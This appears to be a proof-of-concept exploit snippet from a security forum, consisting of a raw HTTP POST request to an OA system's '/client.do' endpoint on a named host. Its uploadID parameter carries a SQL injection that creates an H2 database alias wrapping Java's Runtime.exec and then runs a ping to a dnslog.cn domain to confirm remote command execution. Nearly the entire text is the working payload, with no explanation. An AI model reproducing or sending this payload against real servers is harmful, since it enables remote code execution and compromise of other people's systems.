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源码 
POST /client.do HTTP/1.1
Host: oa.yfhex.com:89
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Referer: http://oa.yfhex.com:89/login.do
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=abcS4y0YesT3s743_N9ny
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 225

method=getupload&uploadID=1';
CREATE ALIAS EXEC666 AS
$$ void e(String cmd) throws java.io.IOException
{java.lang.Runtime rt= java.lang.Runtime.getRuntime();rt.exec(cmd);}$$
CALL EXEC666('ping 2hqfl5.dnslog.cn');select+'1

https://forum.butian.net/share/84